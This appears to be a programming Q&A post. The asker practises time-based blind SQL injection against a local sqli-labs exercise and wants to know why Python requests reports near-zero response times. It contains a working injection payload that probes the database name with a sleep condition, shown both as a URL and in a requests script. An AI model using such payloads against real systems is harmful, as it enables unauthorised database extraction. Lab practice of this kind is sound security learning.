title: Measuring the HTTP response time with requests library in Python. Am I doing it right?
body: <p>I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):</p>
  
  <pre><code>http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
  </code></pre>
  
  <p>I am trying to do the same in Python 2.7 using the requests library. The code I have is:</p>
  
  <pre><code>import requests
  
  payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
  r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
  roundtrip = r.elapsed.total_seconds()
  print roundtrip
  </code></pre>
  
  <p>I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly? </p>